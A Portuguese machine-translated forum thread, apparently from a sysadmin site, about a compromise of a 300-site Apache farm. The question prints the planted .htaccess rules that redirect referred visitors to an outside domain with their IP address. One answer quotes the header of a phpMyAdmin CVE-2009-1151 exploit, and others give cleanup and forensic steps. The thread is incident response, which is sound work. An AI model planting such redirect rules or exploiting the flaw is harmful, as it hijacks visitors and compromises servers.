☰

Encontrando a vulnerabilidade do servidor Web

tag-icon • tag-icon apache-2.2 security .htaccess hacking vulnerability
Encontrando a vulnerabilidade do servidor Web

Operamos um farm de servidores web que hospeda cerca de 300 sites.

Ontem de manhã, um script colocou arquivos .htaccess de propriedade de www-data (o usuário do apache)em cada diretóriosob o document_root da maioria dos sites (mas não todos).

O conteúdo do arquivo .htaccess era este:

RewriteEngine On
RewriteCond %{HTTP_REFERER} ^http://
RewriteCond %{HTTP_REFERER} !%{HTTP_HOST}
RewriteRule . http://84f6a4eef61784b33e4acbd32c8fdd72.com/%{REMOTE_ADDR}

Procurando por esse URL (que é o hash md5 de "antivírus"), descobri que essa mesma coisa aconteceu em toda a internet e estou procurando alguém que já tenha lidado com isso e determinadoonde está a vulnerabilidade.

Pesquisei a maioria dos nossos registros, mas ainda não encontrei nada conclusivo. Existem outras pessoas que experimentaram a mesma coisa e que foram mais longe do que eu na identificação do buraco?

Até agora determinamos:

  • as alterações foram feitas como www-data, então o apache ou seus plug-ins são provavelmente os culpados
  • todas as alterações foram feitas com intervalo de 15 minutos uma da outra, então provavelmente foi automatizado
  • como nossos sites têm nomes de domínio muito variados, acho que uma única vulnerabilidade em um site foi responsável (em vez de uma vulnerabilidade comum em todos os sites)
  • se um arquivo .htaccess já existisse e pudesse ser gravado por www-data, então o script era gentil e simplesmente acrescentava as linhas acima ao final do arquivo (facilitando a reversão)

Mais alguma dica seria apreciada.

==Editar==

Para quem precisar, aqui está o script que usei para limpar os arquivos .htaccess:

#!/bin/bash
PATT=84f6a4eef61784b33e4acbd32c8fdd72.com
DIR=/mnt
TMP=/tmp/`mktemp "XXXXXX"`
find $DIR -name .htaccess|while read FILE; do
  if ( grep $PATT "$FILE" > /dev/null); then
    if [ `cat "$FILE"|wc -l` -eq 4 ]; then
      rm "$FILE"
    else
      if ( tail -n1 "$FILE"|grep $PATT > /dev/null ); then
        rm $TMP
        cp "$FILE" $TMP
        LINES=`cat $TMP|wc -l`
        GOODLINES=$(($LINES-4))
        head -n $GOODLINES $TMP > "$FILE"
      else
        echo $FILE requires manual intervention
      fi
    fi
  fi
done

Responder1

Há umaexplorardo phpMyAdmin

#!/bin/bash

# CVE-2009-1151: phpMyAdmin '/scripts/setup.php' Injeção de código PHP RCE PoC v0.11
# por pagvac (gnucitizen.org), 4 de junho de 2009.
# agradecimentos especiais a Greg Ose (labs.neohapsis.com) por descobrir uma vulnerabilidade tão legal,
# e para str0ke (milw0rm.com) por testar este script PoC e fornecer feedback!

# Script PoC testado com sucesso nos seguintes alvos:
# phpMyAdmin 2.11.4, 2.11.9.3, 2.11.9.4, 3.0.0 e 3.0.1.1
# Linux 2.6.24-24-generic i686 GNU/Linux (Ubuntu 8.04.2)

# requisitos de ataque:
# 1) versão vulnerável (obviamente!): 2.11.x antes de 2.11.9.5
# e 3.x antes de 3.1.3.1 de acordo com PMASA-2009-3
# 2)pareceesta vulnerabilidade só pode ser explorada em ambientes
# onde o administrador optou por instalar o phpMyAdmin seguindo
# omagométodo, em vez do método manual:http://snipurl.com/jhjxx
# 3) o administrador NÃO deve ter excluído o diretório '/config/'
# dentro do diretório '/phpMyAdmin/'. isso ocorre porque este diretório é
# onde '/scripts/setup.php' tenta criar 'config.inc.php' que é onde
# nosso código PHP maligno é injetado 8)

#mais informações sobre:
#http://www.phpmyadmin.net/home_page/security/PMASA-2009-3.php
#http://labs.neohapsis.com/2009/04/06/about-cve-2009-1151/

Responder2

Como o ataque parece ter vindo através do Apache, eu faria estas duas coisas:

  1. Percorra todos os logs de acesso procurando por '.htaccess', ou seja, algo como
    grep -rn '\.htaccess' /var/log/httpd/*access*
  2. Procure no diretório inicial dos usuários apache/httpd/whatever um arquivo de histórico, geralmente '/var/www' ou algo semelhante.

Isso primeiro dirá se o próprio usuário da web foi comprometido ou se o invasor estava utilizando uma execução arbitrária de comando. Também pode fornecer um relato (potencial) completo do que o invasor fez. Por mais bobo que pareça, a maioria dos hacks como esse raramente limpam a sujeira e deixam essas evidências para trás.

E, claro, se você tiver um grupo em sua organização que realiza respostas a incidentes de segurança ou exames forenses, pode valer a pena entregar o equipamento a eles antes de iniciar sua própria análise.

informação relacionada